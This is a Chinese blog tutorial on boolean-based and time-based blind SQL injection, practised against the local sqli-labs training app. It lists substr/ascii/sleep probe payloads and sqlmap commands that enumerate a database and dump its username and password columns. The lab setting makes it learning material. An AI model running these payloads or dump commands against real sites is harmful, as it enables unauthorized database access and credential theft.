基于布尔 基于时间的sql盲注

在上一博客 其实就已经讲到了  sql    

但是上一节 主要是有回显  页面中 会有很多 提示的信息  但是在实战中  这些东西 其实都不怎么存在的  这里  其实又分了 两种情况 

第一种 是基于 布尔  第二种 就是  基于时间的  盲注 

这两种   其实 都比较  简单     先说  基于 布尔的吧 

基于布尔的盲注 :

   其实这个很好理解  页面只会返回 0或1  我们可以 根据 页面是否 404  就可以判断  是否正确 

然后我们可以利用的函数 有   mid(striing,start,length)      substr(string,start,length)    left(string,length)  

然后 我们可以  正确性  来验证  库的长度 

 然后可以用 二分法 来 猜测  库的名字   表的名字  字段的名字  

然后可以 找到 最后的 用户名 还有密码   基本上可以用 

select length(database())

select substr (database())

select ascii(substr(database(),1,1))

select ascii(substr(database(),1,1))>N

select ascii(substr(database(),1,1))<N

select ascii(substr(database(),1,1))=N

如果要是 查找第二位 就是 第二位换成 2即可 

基于时间的盲注 则是  页面 0 1 也不会返回  

这个就是比较尴尬的一点 我们也不知道 我们是否注入成功了  那么 就可以  用一个函数 

sleep    用if 来判断 

例如 

if(ascii(substr(database(),1,1))=N,1,sleep(3)) 

这个语句的意思就是 当数据库名 第一个字母的ascii码 等于115  执行一次 sleep 函数 等待三秒  

这个  这个就和 布尔型注入差不多  人家是    看页面返回   0 或 1  来判断是否注入成功 

而  基于时间的盲注 就是 根据  等待的时间   来判断 

然后    就是靠二分法 一步一步的来猜  或者 用mysql  直接跑  这个也是可以的 

 虽然 可能跑的会非常慢 

这里是查询数据库 名字  

py -2  sqlmap.py -u "http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-9/?id=1" --technique T --dbs  --batch

查询表项  

py -2  sqlmap.py -u "http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-9/?id=1" -D security --tables --batch

然后这里是 查询字段 

py -2  sqlmap.py -u "http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-9/?id=1" -D security -T users --columns  --batch


 

然后就是   查询 

py -2  sqlmap.py -u "http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-9/?id=1" -D security -T users -C username,password --dump  --batch

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值